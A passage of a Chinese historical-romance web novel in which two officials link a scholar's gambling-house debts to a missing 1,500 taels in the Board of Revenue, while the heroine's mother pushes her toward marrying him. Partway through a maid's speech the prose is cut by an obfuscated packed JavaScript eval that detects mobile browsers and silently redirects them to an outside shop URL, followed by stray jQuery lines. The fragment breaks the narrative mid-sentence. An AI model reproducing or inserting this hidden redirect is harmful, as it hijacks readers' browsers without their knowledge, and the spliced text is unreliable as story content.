日头渐渐西沉,文人雅宴也到了散场的时候。恰在这时,沈长卿却到了。
一众宾客见状纷纷低头耳语,不禁感慨苏文彦不愧出身大家,面子颇大。一场普通雅宴,竟请来了郡主、京兆尹与户部侍郎这般人物。
宁安郡主一身华服耀眼,沈长卿自是一眼便瞧见了,上前行礼道:“臣沈长卿,见过郡主。”
郡主淡淡扫了他一眼,语气轻飘飘的:“沈大人来的倒巧,本宫正欲离开。”
沈长卿闻言侧身避让于一旁,左手只虚虚一伸:“郡主请。”
宁安郡主斜睨了他一眼,没再搭话,又转头深深望了季丞烨一眼,才转身迈步离开。
沈长卿这时才转向苏文彦告罪,声音不大不小:“苏兄,对不住了。今日户部盘点秋赋账目,颇有些出入,故而未能及时赴约。还望苏兄莫怪。”
话音刚落,宁安郡主本已要踏下石阶的脚步,踉跄了一下,身子猛地晃了一晃,身后侍从反应极快,伸手一把将她扶住,才免去了当众失仪的尴尬。郡主艰难地站稳了身形,冷哼一声,广袖一甩,扬长而去。
苏文彦连忙拱手还礼:“沈大人公务要紧,能来这一趟,学生已是倍感荣幸。”
周遭宾客已陆续起身辞行,趁着众人寒暄道别之际,季丞烨悄悄走近沈长卿,声音压得极低,只他们二人能听见:“户部银两有多少缺口?”
沈长卿眉头一皱:“不多,一千五百两。”
说来也巧,负责盘点赋税账目的官员张均近日家中有事,这活儿才落到了沈长卿身上。张均核验账目多年从未发现有错,这回偏偏在沈长卿手上查出了错处。
季丞烨云淡风轻地说道:“苏文彦欠三家钱庄的数目,恰是一千五百两。”
沈长卿眸色骤然一沉:“你是说——”
周围人多口杂,季丞烨伸手替他捻去落在肩头上的一片枫叶,打断道:“是不是巧合,我自会查明。”
还未说完,身后便传来清润的女声,带着几分意外:“大哥,你来接我们的吗?”
沈长卿闻声望过去,温柔道:“嗯,公务缠身,好不容易得了空闲,便来接你们了,今日没有惹事吧?”
“大哥!你又诋毁我!”沈昭絮嗓音都提高了一度,拽着温清沅的衣袖轻轻晃了晃,娇嗔道:“温姐姐,你快管管我大哥。”
温清沅抿嘴笑道:“我可管不了。不过……你大哥也没说错呀!”
沈昭絮立刻松开了挽着她的手,佯装怒道:“好啊!你们都是一伙的。”
温清沅笑着点了点她的额头,转瞬又想起了先前的场面,有些担忧道:“你与宁安郡主从前有过节吗?她今日为何这般为难你?”
沈长卿神色一凛,目光落在沈昭絮脸上:“你被宁安郡主为难了?”
“大哥,你别听温姐姐乱说。”沈昭絮说着偷瞄了季丞烨一眼,“不过是某人貌美惹的祸罢了。”
季丞烨身形微滞,不自在地移开了视线,只当什么也没听见。跟在他身后的墨七则挑了挑眉,沈家姑娘果真是自家大人的美貌忠实守护者。
沈长卿板起脸斥道:“口无遮拦。一个未出阁的姑娘胡说些什么?还能是宁安郡主因嫉妒你的美貌而为难于你?”
沈昭絮撇了撇嘴:“本来就是无妄之灾嘛。”
温清沅笑着打圆场:“好了,时候不早了,我们该启程回去了。也别拖着季大人和墨大人在此处久留。”
沈长卿点了点头,然后侧首向季丞烨叮嘱道:“季大人,户部的缺口我还会详查,待有眉目再知会于你。”
“好,京兆府会先顺着钱庄的线索查下去。两边各自探查,有消息互通便可。”季丞烨微微颔首,再一拱手,“沈大人请便。”
一场文人雅宴就此散尽,而藏在户部账目下的暗流,才刚刚开始翻涌。
……
入夜,国公府正厅内,沈家一家人围坐议事。
沈长卿正襟端坐,一脸严肃:“母亲,苏文彦私欠钱庄一千五百两,人品可见一斑,我不同意絮儿继续与他接触。”
沈昭絮猛猛点头:“大哥说得对!今日他在众人面前暗示心悦于我,又公然越矩承认与国公府相看,并未顾及国公府脸面,此人私德有亏,实在不堪托付。”
国公夫人蛾眉微皱,举起茶盏,又放下茶盏,几番往复,方才抿了口茶,说道:“他与钱庄借款也许是一时家中周转不开,事急从权罢了,如何就能断言人品有亏。”
“至于承认相看一事,方才你们也说了,今日宁安郡主在场咄咄逼人,他也没得选。”
沈昭絮震惊地看着母亲,没想到母亲竟能为他开脱至此,高声唤道:“娘亲!”
国公夫人叹了口气,她也不想如此,可是絮儿年岁越来越大,世家适合的郎君越来越少,眼见着就要失去选择权了。苏家小郎君固然有些瑕疵,可眼下已是最佳良配之选。更何况人无完人,哪能有十全十美的呢?
“絮儿,娘亲也是没办法!你口中的真命天子迟迟不来,你与我都已经等不起了。”
沈昭絮不信,偏要倔强:“那就不顾我的幸福了吗?若是成婚之后夫妻二人日日相看两厌又当如何?”
国公夫人怒道:“自古婚嫁都是父母之命、媒妁之言,多少姑娘成婚之前都不知道夫君长得是圆是扁。你已经很好了,家里给了你这样选择的机会。”
国公夫人又道:“就是我过去太纵容你了,让你挑来拣去,把自己给挑剩下了。你们如今一个个的都不肯成婚,让我以后在九泉之下怎么面对沈家的列祖列宗?”
一提及此事,沈长卿失去了刚才护妹的底气,垂下了头。沈昭絮也沉默了,眼中的光越发暗淡了。
回到自己房后,沈昭絮坐在床上抱着被子抽泣。四月捧了盆来,将帕子沾湿递给姑娘擦脸。
“姑娘,您别哭了!您知道的,咱们国公府的郎君姑娘们一个个的都没婚配,外头人说的可难听了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890253|212707||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夫人也是顶着巨大的压力,其实心里难受得很。”
“那……那便可不管不顾就要把我嫁人吗?这般强迫婚嫁,到底是全了谁的心?沈家列祖列宗吗?”
见姑娘开始口不择言,四月赶紧走到门窗前确认了下是不是关紧了,才回身劝道:“姑娘,这话可不兴说。若是被夫人知道了,免不了要跪几天祠堂。”
沈昭絮也知自己方才气急失言,不再发作,拿帕子擦净了脸上的泪水,哼哼唧唧道:“大哥今日和季大人凑在一处悄悄说小话,被我听了几句,像是要查苏文彦欠款的事。他们若能努努力,说不定过几日便能将苏文彦关进大牢了。”
待情绪稳定下来,她抽了抽鼻子,开始碎碎念:“四月,我其实能理解娘亲。我也很是心焦,有时想寻个全乎人草草嫁了算了,可又会觉得,就这样终其一生,好是不甘。”
……和四月念叨着念叨着,沈昭絮就睡了过去。
这一夜,她睡得极不安稳,做了一个很长的噩梦——梦里她又一次逃婚了,这次她提前挖了个更大更方便的洞,堪堪要钻出去时,洞口却又出现了那双熟悉的暗红色锦靴,纹丝不动堵在跟前。她气得一把抓住锦靴,妄图把这人拖入洞中。
而另一边,她梦中那双锦靴的主人,正在京兆府中“努努力”。
“暗查三家钱庄,明面上的账本不必详查,定是做的分毫不差。重点查暗账、存根。”说着,季丞烨又补了一句,“还有银钱的来源。”
墨七躬身应下,目光扫过案上三家钱庄的名号,又抬声问道:“大人,那郡主的侍从与画上之人极其相似,可要查一查?”
“派人盯着,将他每日行踪记下。切记,别惊动他。”季丞烨略一思忖,又淡淡补了句,“国公府附近也加派个暗哨,不用近身,护着沈姑娘安全就好。宁安郡主今日已经明示警告,按她的性子,只怕不会善罢甘休。”
提起季丞烨和宁安郡主这段孽缘,就得从季丞烨高中状元那年说起。
琼林宴上,宁安郡主遥遥一眼便对新科状元动了心,奈何季丞烨始终对她敬而远之。她若真去哭求圣上,八成能如愿,可又偏偏较上了劲,非要季丞烨自己乖乖地投入她的怀抱。
时至今日,她对季丞烨的感情,说不清道不明,更像是一份执念,就像孩童占有自己心尖上的稀罕玩意儿,自己搁着不碰,也半分容不得别人沾染。
此前便有官家女子只因与季丞烨多说两句话,便被她寻个由头折断了腿,一点颜面不留。
所以这些年,季丞烨身边莫要说是女人,恐连只母蚊子她都不曾放过。
墨七跟在季丞烨身边多年,自是知道宁安有多疯魔,“要不要提醒沈姑娘小心郡主?”
“不必,暗中保护即可。她胆子小,别让她担惊受怕。”
墨七领命,又道:“那苏文彦……”
“至于苏文彦,他去的那家城东赌坊,只怕另有玄机。明日你换上常服,随我走一趟。”